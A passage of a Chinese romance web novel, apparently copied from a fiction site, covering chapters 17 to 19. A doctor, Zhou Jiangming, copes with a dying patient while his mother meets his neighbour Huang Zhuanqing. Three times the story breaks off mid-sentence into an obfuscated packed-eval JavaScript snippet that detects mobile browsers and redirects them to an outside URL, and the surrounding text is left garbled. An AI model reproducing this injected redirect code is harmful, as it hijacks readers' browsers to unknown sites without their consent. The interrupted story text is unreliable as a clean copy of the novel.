“别太兴奋,早点睡吧,明儿还得上班呢。”
回完消息,她把手机放在一边,目光落回点心袋。
拆开包装,拿起一枚红茶口味的咬一口。
又看到便签提示说得放冰箱,颠颠跑去厨房塞冰箱里。
真甜。
第二天一早,周桨鸣的一位患者病情突然急转直下。
周桨鸣飞快赶到医院,人已经先进了icu。
他背靠瓷砖,白大褂口袋里,手指捻着笔帽。
患者是个和自己同岁的司机。
片子上的阴影扩散,各项指标往下掉。
饶是与病痛长期打交道,看着那张被氧气面罩盖住的脸,周桨鸣还是觉得呼吸需要大喘气。
他不是神仙,这种无力感对他而言是难熬的。
也才二十七八的年纪,还没修炼到那种见惯生死的境界。
“杵这儿干嘛?跟罚站似的。”陈女士来了。
周桨鸣抬眼看见陈女士站在不远处,手里拿着检查单,立刻站直,想掩饰自己的情绪。
“你这就来了?检查做完了?怎么不提前告诉我?我陪你去啊。”
陈女士走近几步,抬手理了理他的领口:“告诉你干嘛?你是神仙吗?你陪着我去做检查,我身体就不敢出毛病?”
陪伴改变不了检查结果,更无法对抗无常的命运。
周桨鸣当然知道,也当然更加知道自己的无能为力。
“谁给你做的检查?今天妇科是孙老师当班吧?结果什么时候出?”
“要过几天。不急。”陈女士看着他明显不对劲的脸色,“你怎么了?脸色这么难看。魂不守舍的?”
“没什么。”周桨鸣否认,别开脸。
陈女士没再追问,只是静静地看了他几秒。
做母亲的,对孩子情绪的捕捉是很敏锐的。
她叹了口气:“是病人不好了?”
周桨鸣没点头,也没摇头,只是垂下眼帘,
传来一阵急促的呼喊。
周桨鸣和陈女士同时望去。
那位病人的父母互相搀扶,跌跌撞撞地跑,显然是接到了病危通知赶来的。
之前都是病人的姑父在医院照顾,父母腿脚不便身体不行,不便多劳累。
病人的母亲腿一软,瘫倒在地,老伴抱着她。
两人搂在一起,压抑的哭声如潮拍打在周桨鸣的心上。
周桨鸣眼眶一热,酸涩直冲鼻梁。
别过头用力眨了眨眼,医生不该这样。
一只温热的手轻轻拍了拍他的肩膀。是陈女士。
她没说话,只是站在他身边,目光也投向那对夫妻,眼神里充满难过。
周桨鸣眼角的余光瞥见,母亲用另一只手的手背蹭了一下她自己的眼角。
他一下子更加鼻酸,这个动作一下子让他觉得自己挺混蛋。
他刚才在干什么,因为自己的情绪不好,就把负面情绪带给了他妈妈,还让她看到这揪心一幕。
她的身体本就要注意卵巢,而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190017|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心情不好最影响乳腺和卵巢。
觉得自己真挺不是东西的。
推着陈女士的肩膀往自己办公室那边走:“你在这儿等我一下。”
说完进去拿冰箱里的点心袋,把袋子塞进陈女士手里,再推着她的后背继续往外走。
“快回家吧,回去好好休息。下次一进医院就先来找我。”
陈女士被他推着往前,心里什么都明白。所以没挣扎,配合地加快了脚步。
“好,好,知道了。别推了,我自己走。”
一路被护送到楼下,周桨鸣才停下。
阳光有些刺眼,二人都抬手挡了挡。
“行了,别送了,你回去忙吧。”她拍了拍周桨鸣的胳膊。
“你路上小心。”
陈女士点点头,忽然伸出手:“把你家钥匙给我。”
周桨鸣一愣:“干嘛?”
“我休了几天假,正好休息。去看看小叮当。晚上顺便给你送个饭,省得你又瞎对付。”
其实周桨鸣家是密码锁,但是上次陈毓来时,那锁就已经没电了。
她了解他儿子,笃定现在依然会是没电状态。
呵,她儿子甚至都不用电动牙刷!
这上哪儿说理去。
周桨鸣的反应验证了陈毓的猜想。
因为他压根没往“不用给你钥匙啊,你按密码进就行”这条道上去想。
周桨鸣的确是犹豫了一下。
他是不太想母亲来回奔波,尤其是刚做完检查。
但看着陈女士的眼神,还是掏出钥匙串递过去。“……行吧。但是你别太累着。那肥猫要是闹腾你也别理它。”
“知道啦,啰嗦。”陈女士接过钥匙,揣进自己兜里,挥挥手,“走了,你忙你的去。”
陈女士熟门熟路地回到周桨鸣家。
钥匙刚插进锁孔,就听到里面传来猫叫。
这肥猫就要往外闯,被陈女士脚急眼快挡了回去。
闯出失败,也不在意,绕着陈女士的腿蹭来蹭去。
“小叮当,想姐姐了吧?”陈女士绽开笑容,把肥猫抱了个满怀,用脸颊蹭它的毛。
小叮当伸出带着倒刺的小舌头,热情地舔着陈女士的下巴,一人一猫亲热得不行。
腻歪了大半个钟头,陈女士才起身环顾了一下这个好久没来的屋子。
她有点强迫症,一切都得有序而整齐。
所以忍不住动手,先把茶几上那些破烂码整齐,又把厨房水槽里孤零零的一个水杯洗了。
做完这些,才打开手机开始线上买菜。
菜到,她给周桨鸣发了条微信:“几点能得空吃饭?”
等了好一会儿,才收到回复:“刚插了台急诊手术,八点以后。”
陈女士看看时间,下午五点。
叹了口气,看来这汤得晚点送。
自己的肚子也咕咕叫,索性自己先做饭吃饭。
吃着饭,门被敲响,是是周桨鸣的快递。
陈女士没兴趣拆儿子的快递,但签收的时候,无意间看到了快递面单。
买的《柯蒂斯植物学杂志》,陈毓对这那可是太熟。
但出了奇了,周桨鸣买这玩意儿干什么?
陈女士脑子好使,一下子又解出来了。
想起那张明显是周桨鸣偷拍的,在植物园里的路人甲的照片。
是给那姑娘买的吧!
掂了掂手中厚重的杂志包裹:“臭小子还挺会来事儿。借花献佛啊这是!”
17. 转青
陈毓吃完饭收拾好碗筷,开始翻箱倒柜,找上次给儿子送汤用的那个保温桶。
上上下下找了好几遍,愣是没影儿。
厨房柜子没有,橱柜顶上也没有。
“奇了怪了。”
她给周桨鸣发消息:“上次那个保温桶呢?家里翻遍了没找着。”
周桨鸣大概在忙,没回。
看看时间,陈毓决定下楼扔垃圾,顺便去小区门口超市买个新的。
拿起垃圾袋,小叮当就开始激动地叫。
的确,以前这猫就喜欢出去玩。
“行行行,带你一起。”
陈毓找出牵引绳给这只兴奋的猫套上。
小叮当拽着绳子就要往门外冲,迫不及待要遛人。
一人一猫下了楼。
陈毓扔了垃圾,小叮当在单元门口的花坛边东闻闻西嗅嗅。
手里牵引绳突然一紧,小叮当兴奋地朝着一个身影冲过去。
刚下班回来的黄转青,老远就看见了这只猫。
她先撩的,蹲下来嘬嘬嘬,猫这才看见人,立刻被黄转青嘬了过去。
“小叮当!真是你呀!想姐姐没?”她伸出手挠猫咪的下巴,视线这才顺着牵引绳往上移,看到了绳子的另一端,站着一位眉眼间与周桨鸣有几分神似的阿姨。
阿姨正含笑看着她。黄转青心里咯噔一下,意识到这可能是谁了!
黄转青慌忙站起身,尴尬得手脚都不知道往哪儿放,只能先笨拙地开口解释:“阿姨您好!之前我帮周……帮猫的主人看顾过这只猫,我和小叮当认识的,我不是要偷猫!我也不是坏人……”
她越说声音越小。
陈毓听着简直乐不行。
这姑娘挺逗的。
她忍着笑意,一本正经:“你只认识这只猫,不认识这只猫的主人?主人叫周桨鸣,我是她妈妈。”
黄转青一听,连忙摆手加摇头:“不不不!阿姨,我认识的,周医生嘛,认识的。”
“哈哈哈哈哈哈哈哈哈!”
陈毓这下是真没忍住。
她摆摆手,语气轻松下来:“别紧张,你叫什么?”
黄转青松了口气,但脸还是红的:“我叫黄转青。”
“好名字。我怎么听着有点儿耳熟。”
陈毓这不是在故意借此由头拉近关系,她不至于做这套。
而是真觉得耳熟。
这名字并不常见,应该不是有过同名者。
就是一时半会儿想不起来……
黄转青这头则理解成了是周桨鸣跟陈毓提过她,所以才导致耳熟,脸更红。
陈毓看她窘迫,有安抚意味,关心道:“吃饭了吗?”
正要回去吃呢,外卖快送到了。”
“吃外卖啊?”陈毓点点头,“我今天炖了海带排骨汤,夏天喝海带汤好,清热。要不要上去喝一碗?就在楼上,刚炖好不久。”
她指了指楼上。
黄转青一听头摇得更快:“不用不用。谢谢阿姨。”
陈毓也没强求,脸上是和煦的笑容:“行吧。那这锅汤就只能便宜周桨鸣一个人了。晚点我给他送医院去。”
说着就要跟黄转青一起往楼里面走,走了没两步,一拍脑门。
“瞧我这记性!光想着送汤了,还没去买保温桶呢,这没东西装可怎么送啊。”
保温桶?
黄转青脑子里记忆回笼!
周桨鸣塞给她的保温桶,还在她家放着呢!
她嘴比脑子快了十万八千里:“阿姨,不用买!我家有。周桨鸣的保温桶在我家呢。”
话一出口,黄转青恨不得把自己的舌头咬下来。
她僵在原地,眼神四处乱飘,就是不敢看陈女士的脸。
陈毓也有点吃惊。保温桶在这姑娘家里?
短暂的震惊过后,陈毓眼底笑意扩散开。
“在你家啊?”
陈毓故意说得很平淡,仿佛这件事还挺正常,没什么好大惊小怪的。
“那方便拿一下吗?省得我再去买一个。”
“方便方便!”黄转青如蒙大赦,赶紧点头。
进了电梯,狭小的空间里气氛更是微妙。
陈毓抱着猫,简直要眉开眼笑!
黄转青只觉得电梯的上升速度慢得令人发指。
好不容易到了十九楼,黄转青飞快地打开自家门。
保温桶就在玄关位置立正着,仿佛一个罪证。
她抓起保温桶递过去。
“阿姨,给。洗干净了的。”
陈毓接过保温桶,没看桶,眼睛依旧笑眯眯地黏在黄转青脸上。语气愉悦。
“好好好。洗得真干净,谢谢你了小黄。”又状似不经意地问:“小黄是哪里人啊?”
“厦门。”黄转青老老实实回答,心里祈祷着快结束吧。
“厦门啊,好地方。靠海,口味应该比较吃鲜?下次阿姨做饭,你过来一起吃。尝尝阿姨的手艺。”
黄转青也不能说自己已经尝过。
只能扯出一个笑容,胡乱点头:“嗯嗯,好,谢谢阿姨。”
黄转青以为话题即将结束,没想到陈毓没放过自己。
“我刚听到你对着小叮当自称姐姐,那你可就是我的妹妹了。我叫陈毓,别一口一个阿姨了,叫我陈姐吧。”
“……”黄转青哪儿理解得来这个,目瞪口呆。
“开玩笑的!”陈毓看着黄转青的表情都有点不忍逗。
“小叮当是我的弟弟,是周桨鸣的舅舅。你愿意跟周桨鸣同辈份也行,愿意跟我同辈份也行。都行。但叫我陈姐这句不是在开玩笑。”
“好的,陈姐。”黄转青讷讷。
陈毓心满意足:“那行,我先下去了。小黄,再见啊!”
黄转青把陈毓送进电梯,电梯门隔绝了陈毓的灿烂笑容。
她松了一口气。但脸颊的热度不散。
医院的值班室,挂钟指针滑向晚上八点半。
周桨鸣瘫坐在转椅里,颈椎不堪重负,又改成趴在桌子上,像学生时代趴桌上睡觉一样。
刚下了一台不算顺利的手术。
造化弄人,那台手术正是那位病患的姑父。
工地摔伤,骨折情况有点复杂,临时插的急诊。
周桨鸣主动接的。
精神高度紧绷后的松懈往往很麻木。
门此时被轻轻推开。
“还活着吗?”陈毓的声音悄悄的。
周桨鸣睁开眼,坐直身体,脑子完全不在动。
现在问他叫什么他可能都得缓一会儿才能回答。
“你怎么来了?”
“给你送饭啊。”
陈毓走进来反手关上门,手里拎着一个保温桶。
打开保温桶,饭香飘出,周桨鸣好像理智有所回笼。越看这保温桶越眼熟,想起来了。
“这保温桶哪儿来的?”
陈毓慢悠悠地拉开旁边的椅子坐下,双手交叠放在膝上,好整以暇。
“保温桶还能是哪儿来的?天上掉下来的?”
周桨鸣被她这明知故问的腔调拿捏住。
“……你见过黄转青了?”
“哦哟——”陈毓拖长了调子,“原来叫黄转青呀?我还以为叫路人甲呢。”
“……”
周桨鸣舀了一勺汤往嘴里送,用这液体堵住自己的嘴。
饭是好吃的,可他吃得如同嚼蜡。
“你跟人家说什么了?”
陈毓欣赏着儿子这副难得一见的别扭样,心里乐开花。
“我什么也没说啊,我都不认识她。是小叮当认识她!那肥猫,一看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190018|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见人家姑娘,跟见了外甥媳似的。”
小叮当认识她。
这确实让周桨鸣无从驳起。
陈毓充满了扬眉吐气的畅快:“周桨鸣啊周桨鸣,你也有今天!让你整天跟我嘴欠!”
周桨鸣:“……”
笑够了,陈毓换了个话题:“小黄喜欢植物插画?你买那些杂志是要送给她?”
周桨鸣有点不爽,像领地被人窥探。应了一声算是承认。
想了想,又补充道:“她是专业画画的,很喜欢植物,想往这儿发展发展。”
“真的?那可太好了!这不巧了,天作之合。”
周桨鸣简直莫名其妙:“巧什么?什么天作之合?跟你有什么关系?”
“怎么没关系!”陈毓瞪了他一眼,“我不是跟你说了吗,妈现在最缺什么?缺的就是有热情有底子的人才!小黄有这兴趣,有这底子,这不就是现成的自己人嘛。你说,这缘分……”
她越想越觉得是这么回事。
周桨鸣无语地看着他妈,这联想力也太跳跃了。
“妈,”他打断她的畅想,“人家有人家的规划,跟你这科普项目有什么关系?压根就没有关系。八竿子打不着。”
陈毓不乐意。
“那生你是干什么用的?那你就想想办法,让她跟我有关系。”
“……”
他彻底不想说话了。
盖上保温桶盖子,盖住这荒谬的对话。
“我吃完了。”他站起身,抓起保温桶往陈毓怀里塞,“你快走吧!我要忙了。”
逐客令下得毫不客气。
陈毓被儿子推着往外走也不生气。
“行行行,不耽误周医生救死扶伤。”
走到门口又回头,“加油哦!”
门关上,周桨鸣走到办公桌前坐下。
电脑屏幕上还停留着病人的资料。
他强迫自己集中精神,看了两行,眼神却飘向放在一旁的手机。
屏幕是黑的。他犹豫了一下还是点开。
微信上没有任何他想看到的消息。
再点开对话框,聊天记录还停留在昨晚。
“别太兴奋,早点睡吧,明儿还得上班呢”。
“知道了。”
他想问问她:我妈今天没瞎跟你说什么吧?她那人就那样,说话没个把门的,你别往心里去。
敲下了几个字:“我妈今天……”
删掉。
又敲:“小叮当没……”
删掉。
再敲:“保温桶……”
还是删掉。
他烦躁地把手机扔回桌上,屏幕朝下。
有什么好问的?显得自己多在意似的!
黄转青都不来问问自己,估计根本不在乎!
那他在这纠结个什么劲儿?
黄转青确实不在意。
此刻,她的世界里,只有那株正在她笔下一点点舒展的植物。
一株卷柏。
在植物园拍的照片被她用显示器放大,占据了半个屏幕。
她全神贯注,画本摊开在旁边,更旁边是几张潦草的构图草稿和局部特写练习。
另一个方向的旁边还堆着几本摊开的植物图谱和技法书。
时而看看照片,时而翻翻书,时而盯着自己的线稿思考。
描绘那些如鳞片的细密,研究叶片的排列和茎的走向。
试图和植物进行一场对话,去理解它生存的智慧,去捕捉它形态的美感。
卷柏,也叫九死还魂草。
它能在最干旱的季节里蜷缩成球,仿佛枯死,随风滚动。
一旦遇到水源,又能迅速舒展,重现青翠生机。
枯黄褪去,转复青绿。
黄转青看着它,这是一则沉默而伟大的寓言。
18. 我不是很好
这之后,两人像被上了发条的陀螺,各自在自己的轨道上旋转。
黄转青公司的游戏项目要版本更新,美术资源像无底洞。
角色新皮肤、场景迭代……需求量一下子就上来。
原画组灯火通明,黄转青的工位也淹没在需求表格里。
虞鱼作为文案,虽然目前文案方面的需求不多,但她觉得这样更痛苦。每天配表不说,还要重排演出。
汪蓝更是顶着两个大黑眼圈在旁边哀嚎:“我的肝,它说它要离家出走!”
黄转青自己也是焦头烂额,被按在项目里动弹不得。
她感觉自己像块被反复拉扯的橡皮泥,哪头都顾不上,哪头都脱不了身。
唯一的慰藉是工位窗台上那几盆绿植,是公司里卫衣的生机勃勃。
当然,周桨鸣那边更是水深火热。
医院本就是深渊。
门诊、手术、值班、病例讨论、突如其来的抢救……时间被切割成碎片。
四小时的完整不被打断的睡眠都成奢侈品。
他下巴上冒出的胡茬也懒得刮,白大褂皱巴巴,走路都贴在身上,看着奇丑无比。
周桨鸣那么死装的一个人,现在路过任何一个能把自己照出来的地方,例如消防栓、不锈钢门,都从不敢抬头看自己。
但凡看到自己,估计下一秒就要原地起飞。
那个病情恶化的病人始终压在他心上。
病人的姑父倒是问题不大,正在恢复中。
周桨鸣每次看着那张在呼吸机辅助下艰难起伏的脸,看着他父母的眼神,就觉得血管里流窜的不是血,是气。
这天晚上,刚结束手术,周桨鸣阳穴突突地跳,眼前一阵阵发黑。他还穿着塑料拖鞋也懒得换,踩着回到值班室。
刚想瘫在椅子上缓口气,门就被推开。是那位病人的父亲和拄着拐的姑父。
他们脸上刻满了连日来的煎熬,眼神都很浑浊。
病人父亲一看见周桨鸣,噗通一声就跪下了!姑父也要跟着跪。
“好医生!求求您!救救他!我给您磕头了!”
周桨鸣心脏都不跳了!
他最怕的就是这个。
周桨鸣吓得魂飞魄散,赶紧扑过去想把人搀起来。
“快起来!别这样!”
他伸手先去扶病人父亲的胳膊,可连日透支的身体这个节骨眼上就是特别的不争气!
周桨鸣眼前金星乱冒,手臂发软,非但没把人扶起来,自己反而被下坠的力道带得一个踉跄。
膝盖一软,也咚一声结结实实跪在了地板上。
老头的哭声卡在喉咙里,姑父也愣住,一起看着跪在自己面前的年轻医生。
值班室的门再次被推开。
主任拿着病历本走进来,一进来就看见这匪夷所思的一幕:患者家属跪着,他们科最年轻力壮的小周医生也跪着。
三个人对着跪,像在拜把子。
主任:“?”
他推了推眼镜,镜片后的眼睛里充满了困惑:“咋了这是?”
周桨鸣尴尬得想找个地缝钻进去,偏偏头晕目眩,试了一下愣是没站起来。
他只能抬起头,对着主任那张脸,直接自暴自弃:“主任,您扶我一下,站不起来了。”
主任:“……”
最终,还是主任和闻声赶来的护士一起,七手八脚地把患者家属和周桨鸣都搀扶起来,再好言劝慰着送走了家属们。
值班室里只剩下主任和周桨鸣。
主任看着瘫在椅子上脸色苍白,眼神都有些涣散的周桨鸣,难得的语气轻柔。
“小周啊,我知道你心里不好受。但医生不是神仙,你自己也得注意点身体。”
周桨鸣闭着眼,一句话都不想说,但又偏偏要说:“那您给我假,让我喘口气。”
他感觉自己下一秒就能睡死过去。
主任闻言,抬头望了望值班室窗外的天空,在寻找什么,然后极其自然转移了话题:“哈哈,你看今天天上有星星耶,还挺亮。”
周桨鸣:“……”
他连翻白眼的力气都没有了,只能从喉咙里挤出一声毫无波澜的:“呵呵。”
心里骂了句国粹。得,继续熬吧。
日子就在这种昏天黑地的忙碌中,像沙漏一样漏到了九月中。
已经立秋过,但早晚的风还是热乎乎的。
黄转青和周桨鸣之间的联系稀薄。
偶尔深夜,周桨鸣拖着快散架的身体回到家,会拍一张睡得四仰八叉的小叮当发过去。
黄转青则是会定期给周桨鸣发那盆丽花球的照片。现在开得格外俏皮。
没有嘘寒问暖,就是这种碎片式的,有点没头没尾的分享,像黑暗里偶尔的一星火花,短暂地照亮一下彼此兵荒马乱的世界,然后又各自沉入无边的忙碌。
黄转青这天加班到快十一点,下班的时候不饿,快到家了饿上头,胃里烧得有点张牙舞爪。
小区门口的便利店是24小时的,多数时候,只有快捷可慰都市之辛。
深夜的街道冷清,便利店的灯光可靠。
黄转青推门进去。
她站在的关东煮格子前选品时,瞥见站在她右侧在冷柜前拿东西的人。
是周桨鸣。黄砖看他头发乱乱的。
他手里拿着个三明治和一瓶酸奶,似乎还想要点什么,拿完又往冷柜正后面的货架走。
关东煮在收银台这一条,和冷柜是一条线。货架不是,货架在这一条的后面一条。
黄转青向后退了几步,和周桨鸣重新站到了同一条视觉线上。
让两人的视线撞个正着。
周桨鸣大概也没想到,会在这个时间、这个地点,以这种状态遇见她。
两人隔着几排货架,在深夜便利店的灯光下,都有些恍如隔世。
上一次见面是什么时候?好像很久了。
“你刚下班?”周桨鸣先开口。
“对,最近太忙了。”黄转青指了指关东煮,“饿死了,来垫一口。你也刚下?”
她看着他手里的酸奶和面包,显然不是正餐。
周桨鸣应了一声,看了看自己手里的东西,也觉得有点寒碜,扯了下嘴角,但太累了,笑容挂不住。
二人买完后一起走进小区微凉的夜风里。
回家的路是同一条,两人沉默地并肩。黄转青能感觉到周桨鸣情绪不好。
“你还好吧?”黄转青不住问。
认识以来,她从没见过他状态这么糟糕过。
周桨鸣被这个问题问住,他沉默。
黄转青以为他会回个还好或者没事。
但他没有。
在这个在这个只有路灯和风声的深夜,他坦然向黄转青暴露脆弱:“我不是很好。”
那个年轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190019|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
病人日渐恶化的病情、家属的眼神、无能为力的挫败、连日高强度的透支……所有积压的情绪,即将决堤。
他没有细说病人的情况,但黄转青体会到那块巨石。
两人坐在单元楼下的花坛边,周桨鸣断断续续说着,黄转青静静听着。
夜风拂过黄转青的头发,吹向周桨鸣的心脏处。
第二天,孟知春导演给黄转青发来消息。
“黄老师,这周末我们的话剧首轮演出开始了。给你留了票,有时间来捧场吗?”
孟知春向来做事大胆又细心。
后面跟着详细的票务信息:本周六下午两点半、晚上七点半;本周日下午两点半、晚上七点半。
四轮演出,很大的野心。
黄转青眼睛一亮。
她画的海报,她当然要去。
何况这场话剧她本身就期待。
立刻回复:“谢谢您!我一定去!我去周六下午两点半那场。”
“好嘞!给你留好了两张票!周六下午两点半,剧场见。”
两张票?
黄转青原本只想自己去的,两张那就得找个人一起。
她第一个想到虞鱼,直接走过去问她。
“周六下午?哎呀不巧!我跟我妈还有我小姨她们约好了去火神庙拜拜,我妈最近老觉得不顺,非拉着我去。”
黄转青有点失望,但还是说:“那你们好好拜,要是真灵,一定要告诉我,我也去。”
她又去问汪蓝,汪蓝的声音有气无力:“就是上次聊的那场话剧?我确实想去……我看看啊,欸不行,我准备十月一调休几天假,拼个大长假去新疆游一圈。这个周末我得来公司加班还债。不然假期批不下来。”
黄转青替她担心:“十月一后调休?公司能批吗?”
汪蓝发出悲壮的宣言:“批,必须批,不批我就以死相逼。”
黄转青被她逗笑:“行吧行吧,那你加油吧。”
黄转青有点发愁。多了一张票,找谁呢?
正琢磨着,又有消息来了。这次是周桨鸣。
“周日下午两点半你有空吗?小雅给我留了两张话剧票,看不看?”
黄转青看着这条消息,觉得又有缘又荒诞。
她直接把自己和导演的消息截图,给周桨鸣发了过去。
周桨鸣大概是在反复确认截图上的时间和自己票上的时间。
然后:“……”
黄转青也回:“……”
两人隔着屏幕,仿佛都能看到对方脸上那副表情。
周桨鸣的消息再次跳出来。
“那就看两场呗。”
“周六下午我陪你看你的票。”
“周日下午你陪我看我的票。”
黄转青盯着屏幕上那三行字,眨巴眨巴眼睛。
这逻辑好像也没什么毛病。
虽然感觉有点傻乎乎的,连着看两遍同一个话剧?
但好像也没别的办法。她不想浪费票,也私心想多去捧场支持。
而且,最重要的是,她摸了摸心口,自己并不排斥和周桨鸣一起看演出。
“行。”
一个字,尘埃落定。
两场话剧。两个下午。
忙碌生活里,被两张多出来的票,挤出了一点奇特的交集。
像偶然飘落的两片叶子,轨迹未定,却总是会在风中打个照面。
19. 你跟她们都是一种人
这个周末,是周桨鸣硬生生从医院里抠出来的。
连着熬了不知道多少天,再辅以软磨硬泡,总算把本该周一周二周三的三天休息日,挪到了周六周日。
——代价是就这样少了一天假期。
疲惫里榨出一点喘息,难度不亚于像从石头里榨出水。
周五下午,天色昏暗,是下雨的千兆。
走廊尽头的小窗倒意外透进亮堂天光。
来了一个好消息,那位病患的情况稳定了一些。
虽然前路依旧漫长,但死神似乎暂时收回了叩门的手。
消息是小郑亲自跑来告诉他的,脸上也如释重负。
周桨鸣靠着走廊墙壁缓神,眼前瞬间模糊。他用手指抵住眉心,想把那股酸涩压下去。却徒劳无功。
小郑旁边还跟着个刚从麻醉科出来的同事,小郑反应快,对同事使了个眼色,示意他先走。
等同事走远,小郑才上前一步,用力拍了拍周桨鸣的肩膀。
“稳住,你悄没声捐了那么多,现在总算是见到曙光了。老天有眼,不是吗?”
小郑看着周桨鸣通红的眼眶,语气更认真了些。
“你也确实是个好医生。不是吗?”
周桨鸣没抬头,只用力地点了点头。
胡乱抹了把脸,再抬起头时,眼底的血丝未退。朝小郑伸出拳头。
小郑默契地碰了上去。
两个拳头在空中轻轻一撞,无声胜有声。
晚上回去得稍早,但也过了晚十点。
给小叮当清洗完自动猫砂盆,添满粮换完水,看着那肥猫满足地埋头苦吃,周桨鸣才觉得松快了一点。
摸烟,转身出门,再推开通往楼梯间的防火门。
声控灯应声而亮。
周桨鸣的脚步顿住。
这个熟悉的拐角平台,原本只有孤零零的一把他放的塑料椅,现在旁边多了一把。另一把长得不太一样。
两把椅子并排靠着墙。
没看错。真多了一把。
他走过去掏出手机,对着这两把并排的椅子拍了张照片,想也没想就发给黄转青。
“你放的??”他配了两个问号。
黄转青的消息回了过来:“你才发现啊?不是我,我还以为是你放的呢!”
周桨鸣看着屏幕上的字,心里那点惊喜被一种奇怪的情绪取代。
“你早就发现了?那你怎么不问我?”
黄转青理所当然:“这有什么好问的?不就多把椅子吗?我还以为是你觉得一把不够坐。”
这有什么好问的?
周桨鸣别扭劲儿又上来了。
他心想:你以为是我放的,所以就不关心了?那行,我也不关心了。显得我多在意,显得我特较真。
我又不是那么没劲的人!
他打了一串字,又删掉,最后干脆不回。
爱谁放的谁放的。不关他事。
没过一分钟,手机屏幕不甘寂寞地亮起。
他斜眼瞥,是黄转青的微信。
“真不是你放的?那还能是谁啊?”
“这我就好奇了!”
“我马上就上来!”
周桨鸣看着这一连串追问,慢悠悠地回了个:“哦。”
然后,他重新坐回椅子上,闭上了眼睛。
行,等着吧。
楼梯间里响起脚步声。
很快,黄转青的身影出现在楼梯口。
“这么快?”周桨鸣掀开眼皮,懒洋洋地看她一眼。
“我这体能,能不快吗?”黄转青几步跨下来,“到底谁放的啊?”
问完她就一屁股坐在了旁边那把新椅子上。
“谁知道呢。你很好奇吗?我可不怎么关心。”
黄转青刚想回话呢,周桨鸣却是发现了什么了不得的事情。坐直身体,一脸“惊讶”地看着她。
说:“哎?你怎么一屁股就坐下了?我坐的是我放的这一把,”他指了指自己屁股底下,“你坐的可是闲杂人等放的,坐得这么心安理得干什么?赶紧站起来,万一是别人放这儿有特殊用处的呢?”
黄转青被他这的突如其来搞得莫名其妙,但她这人容易被洗脑,仔细一想就觉得好像也有那么点道理。
心里那点好奇被尴尬取代,真就站了起来。
有点局促地看着那把新椅子:“那倒也是。毕竟不知道是谁放的。”
周桨鸣看着她真就站起来了,一时语塞,简直气笑。
“让你站你就真站起来了啊?这儿又没别人。坐。”
“我有点不好意思坐。”
周桨鸣只好也站了起来,然后稳稳当当地坐到那把新椅子上。
“?”黄转青懵。
周桨鸣用下巴示意自己那把旧椅子:“坐啊。那把是我放的。我同意了,你随便坐。”
黄转青被他这一套操作搞得脑子有点宕机,稀里糊涂地坐下来。
屁股刚挨着椅子,刚才的疑问又冒出来:“那你觉得最有可能的是谁啊?应该是你们这层的住户吧?十七楼的?”
周桨鸣抱着胳膊看着她:“你前几天发现了也不关心,今天突然这么刨根问底干什么?闲得慌?”
“那不一样啊!”黄转青理所当然,“前几天我以为是你放的呢!那我还问什么?”
“哦——你觉得是我放的,就可以不用关心了啊?我就是这么一个不用多关心的存在啊?只有闲杂人等才值得你关心是吧?”
黄转青被他这绕来绕去的逻辑搞得有点上火,刚想开口怼回去,周桨鸣的手机就又来新消息。
周桨鸣低头看了一眼,脸上的表情变得古怪,没立刻回复,反而抬起头看着黄转青。
把刚才的话无缝衔接地顺了下去:“原来我就是这么一个不用多关心的存在啊,还得是长辈更值得关心啊。十八岁的我不值得多费心。”
“什么长辈?”黄转青很迷茫,怎么一个字她都听不懂。是中文吗?
本来脑子就累得像一团浆糊,哪里还有力气做这种弯弯绕绕的阅读理解!
她腾地一下站起来,脸色发沉,语气又冲又烦:“听不懂!我走了!”
说完她转身就要往楼梯上冲。
“欸欸欸!”周桨鸣连欸三声,想叫住她,可黄转青已经三两步冲上了半层楼,脚步声咚咚咚地远去。
周桨鸣:“……”
他低头,再次看向手机屏幕上那条刚收到的微信消息,发送人备注是“妈”。
“是啊,我上次放的,怎么了?”
正是他刚才等黄转青时心里的猜测。
“楼梯间多那把椅子,是你放的吗?”
陈毓同志终于抽空回复了。
是时辰的错。
“没怎么,您真是我亲妈。”
这叫什么事儿。
回到家,小叮当凑过来蹭他,他狂摸几把再推开。烦!
掏出手机,点开黄转青的对话框。
“椅子是我妈放的。你下次爱坐哪把坐哪把,都能坐。”
没发出去,他删掉了。
解释个屁!黄转青压根不关心。他也真不想往她跟前凑。
“明天十一点见?开车过去吃个午饭然后等开场。”
“好。”
黄转青看着周桨鸣发来的消息,心里想着这不聊得挺好吗?这自己不就完全能看懂了吗?
就这么说话不行吗?
绕什么绕!做什么阅读理解!烦!
第二天两个人在剧场就近吃饭,吃的水煮鱼。
周桨鸣和黄转青相对而坐,他人菜瘾大,斯哈斯哈地吃。
抬头一看,黄转青面不改色。
